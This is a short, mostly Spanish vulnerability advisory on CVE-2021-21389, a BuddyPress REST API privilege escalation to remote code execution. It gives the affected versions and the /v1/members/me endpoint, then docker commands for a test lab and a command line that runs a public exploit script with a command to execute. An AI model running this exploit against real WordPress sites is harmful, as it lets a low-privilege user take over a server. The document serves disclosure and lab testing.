
BuddyPress es un plugin de WordPress de código abierto para crear un sitio comunitario. En las versiones de BuddyPress desde 5.0.0 hasta antes de 7.2.1, es posible que un usuario normal sin privilegios obtenga derechos de administrador explotando un problema en el endpoint de miembros de la API REST. La vulnerabilidad se ha corregido en BuddyPress 7.2.1. Las instalaciones existentes del plugin deben actualizarse a esta versión para mitigar el problema.
BuddyPress < 7.2.1 - Escalada de privilegios en REST API a RCE
PoC (Completo)
Versión afectada: 5.0.0 a 7.2.0
Requisito de usuario: usuario Suscriptor
Método: Escalada de privilegios a Administrador y activación de RCE a través de la REST API
Endpoint: /v1/members/me.
git clone https://github.com/HoangKien1020/CVE-2021-21389
cd CVE-2021-21389/
docker build . -t hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Other way to pull this docker instead of building:
docker pull hoangkien1020/buddypress:cve202121389
docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389
Access your host/IP
Ex: http://test.local:8080
python3 CVE-2021-21389.py http://test.local:8080 test 1234 whoami
Ejemplo:

https://buddypress.org/2021/03/buddypress-7-2-1-security-release/